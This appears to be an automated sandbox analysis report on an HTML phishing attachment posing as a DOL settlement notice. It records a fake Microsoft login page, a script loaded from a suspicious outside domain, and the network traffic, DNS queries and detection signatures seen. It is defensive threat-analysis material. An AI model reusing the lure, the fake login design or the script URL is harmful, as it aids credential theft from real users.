Edit tour

Windows Analysis Report
Settlement DOL 08262024 - Victoria Brignon - Reference #27224675-2722934.html

Overview

General Information

Sample name:	Settlement DOL 08262024 - Victoria Brignon - Reference #27224675-2722934.html
Analysis ID:	1432211
MD5:	1aa5e82a9d9ac395ed07ec0690030204
SHA1:	b391a9793fafbad818caef6f92e0c72d64dbff25
SHA256:	e91a8ccc616f88844b2a12cde05d7338486d131eef241b6ad6f787bdad4a70a3
Infos:

Detection

HTMLPhisher

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Misleading page title found

Phishing site detected (based on favicon image match)

Yara detected HtmlPhish10

Detected javascript redirector / loader

HTML Script injector detected

HTML document with suspicious title

HTML file submission containing password form

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Invalid T&C link found

JA3 SSL client fingerprint seen in connection with other malware

None HTTPS page querying sensitive user data (password, username or email)

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5784 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Settlement DOL 08262024 - Victoria Brignon - Reference #27224675-2722934.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6620 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2224,i,17334446119998781605,2213609609449426346,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Misleading page title found

Source: file:///C:/Users/user/Desktop/Settlement%20DOL%2008262024%20-%20Victoria%20Brignon%20-%20Reference%20%2327224675-2722934.html	Page Title: Microsoft \| Login
Source: file:///C:/Users/user/Desktop/Settlement%20DOL%2008262024%20-%20Victoria%20Brignon%20-%20Reference%20%2327224675-2722934.html	Page Title: Microsoft \| Login

Phishing site detected (based on favicon image match)

Source: file://

Matcher: Template: microsoft matched with high similarity

Yara detected HtmlPhish10

Source: Yara match

File source: 0.0.pages.csv, type: HTML

Detected javascript redirector / loader

Source: Settlement DOL 08262024 - Victoria Brignon - Reference #27224675-2722934.html

HTTP Parser: Low number of body elements: 0

HTML Script injector detected

Source: file:///C:/Users/user/Desktop/Settlement%20DOL%2008262024%20-%20Victoria%20Brignon%20-%20Reference%20%2327224675-2722934.html

HTTP Parser: New script, src: https://pnnacleevaluationemployerform.com/tellmehow/trost.js

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/Settlement%20DOL%2008262024%20-%20Victoria%20Brignon%20-%20Reference%20%2327224675-2722934.html

Tab title: Microsoft | Login

Phishing site detected (based on image similarity)

Source: file:///C:/Users/user/Desktop/Settlement%20DOL%2008262024%20-%20Victoria%20Brignon%20-%20Reference%20%2327224675-2722934.html

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: file:///C:/Users/user/Desktop/Settlement%20DOL%2008262024%20-%20Victoria%20Brignon%20-%20Reference%20%2327224675-2722934.html

Matcher: Template: microsoft matched

Source: file:///C:/Users/user/Desktop/Settlement%20DOL%2008262024%20-%20Victoria%20Brignon%20-%20Reference%20%2327224675-2722934.html

HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/Settlement%20DOL%2008262024%20-%20Victoria%20Brignon%20-%20Reference%20%2327224675-2722934.html

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: file:///C:/Users/user/Desktop/Settlement%20DOL%2008262024%20-%20Victoria%20Brignon%20-%20Reference%20%2327224675-2722934.html

HTTP Parser: Title: Microsoft | Login does not match URL

Source: file:///C:/Users/user/Desktop/Settlement%20DOL%2008262024%20-%20Victoria%20Brignon%20-%20Reference%20%2327224675-2722934.html

HTTP Parser: Invalid link: Privacy & cookies

Source: file:///C:/Users/user/Desktop/Settlement%20DOL%2008262024%20-%20Victoria%20Brignon%20-%20Reference%20%2327224675-2722934.html

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/Settlement%20DOL%2008262024%20-%20Victoria%20Brignon%20-%20Reference%20%2327224675-2722934.html

HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/Desktop/Settlement%20DOL%2008262024%20-%20Victoria%20Brignon%20-%20Reference%20%2327224675-2722934.html

HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/Settlement%20DOL%2008262024%20-%20Victoria%20Brignon%20-%20Reference%20%2327224675-2722934.html

HTTP Parser: No <meta name="copyright".. found

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49742 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 23.204.76.112:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.204.76.112:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.5:49746 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 13.107.246.41 13.107.246.41
Source: Joe Sandbox View	IP Address: 13.107.246.41 13.107.246.41
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 13.107.213.41 13.107.213.41

Source: Joe Sandbox View

ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49742 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26

Source: global traffic	HTTP traffic detected: GET /tellmehow/trost.js HTTP/1.1Host: pnnacleevaluationemployerform.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s2/favicons?domain=microsoft.com HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MVXxX4ocoKVw9Xz&MD=9eGSegYZ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MVXxX4ocoKVw9Xz&MD=9eGSegYZ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: pnnacleevaluationemployerform.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: use.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: chromecache_91.2.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_100.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_91.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=378607
Source: chromecache_91.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=449857
Source: chromecache_91.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=470258
Source: chromecache_91.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=589347
Source: chromecache_91.2.dr	String found in binary or memory: https://bugs.jquery.com/ticket/12359
Source: chromecache_91.2.dr	String found in binary or memory: https://bugs.jquery.com/ticket/13378
Source: chromecache_91.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=136851
Source: chromecache_91.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=137337
Source: chromecache_91.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_91.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=687787
Source: chromecache_91.2.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_91.2.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#common-serializing-idioms
Source: chromecache_91.2.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#resolved-values
Source: chromecache_92.2.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_92.2.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_97.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6o3ms.woff2
Source: chromecache_97.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rHmsJCQ.wo
Source: chromecache_97.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rXmsJCQ.wo
Source: chromecache_98.2.dr, chromecache_94.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_91.2.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/3229
Source: chromecache_91.2.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/6125
Source: chromecache_91.2.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/557)
Source: chromecache_91.2.dr	String found in binary or memory: https://github.com/jquery/sizzle/pull/225
Source: chromecache_91.2.dr	String found in binary or memory: https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
Source: chromecache_98.2.dr, chromecache_94.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_94.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_91.2.dr	String found in binary or memory: https://html.spec.whatwg.org/#strip-and-collapse-whitespace
Source: chromecache_91.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#category-listed
Source: chromecache_91.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled
Source: chromecache_91.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled
Source: chromecache_91.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled
Source: chromecache_91.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled
Source: chromecache_91.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/syntax.html#attributes-2
Source: chromecache_91.2.dr	String found in binary or memory: https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
Source: chromecache_91.2.dr	String found in binary or memory: https://jquery.com/
Source: chromecache_91.2.dr	String found in binary or memory: https://jquery.org/license
Source: chromecache_91.2.dr	String found in binary or memory: https://jsperf.com/getall-vs-sizzle/2
Source: chromecache_91.2.dr	String found in binary or memory: https://jsperf.com/thor-indexof-vs-for/5
Source: Settlement DOL 08262024 - Victoria Brignon - Reference #27224675-2722934.html	String found in binary or memory: https://pnnacleevaluationemployerform.com/tellmehow/trost.js
Source: chromecache_91.2.dr	String found in binary or memory: https://promisesaplus.com/#point-48
Source: chromecache_91.2.dr	String found in binary or memory: https://promisesaplus.com/#point-54
Source: chromecache_91.2.dr	String found in binary or memory: https://promisesaplus.com/#point-57
Source: chromecache_91.2.dr	String found in binary or memory: https://promisesaplus.com/#point-59
Source: chromecache_91.2.dr	String found in binary or memory: https://promisesaplus.com/#point-61
Source: chromecache_91.2.dr	String found in binary or memory: https://promisesaplus.com/#point-64
Source: chromecache_91.2.dr	String found in binary or memory: https://promisesaplus.com/#point-75
Source: chromecache_91.2.dr	String found in binary or memory: https://sizzlejs.com/
Source: chromecache_91.2.dr	String found in binary or memory: https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_91.2.dr	String found in binary or memory: https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 23.204.76.112:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.204.76.112:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.5:49746 version: TLS 1.2

Source: classification engine

Classification label: mal88.phis.winHTML@26/32@14/13

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Settlement DOL 08262024 - Victoria Brignon - Reference #27224675-2722934.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2224,i,17334446119998781605,2213609609449426346,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2224,i,17334446119998781605,2213609609449426346,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

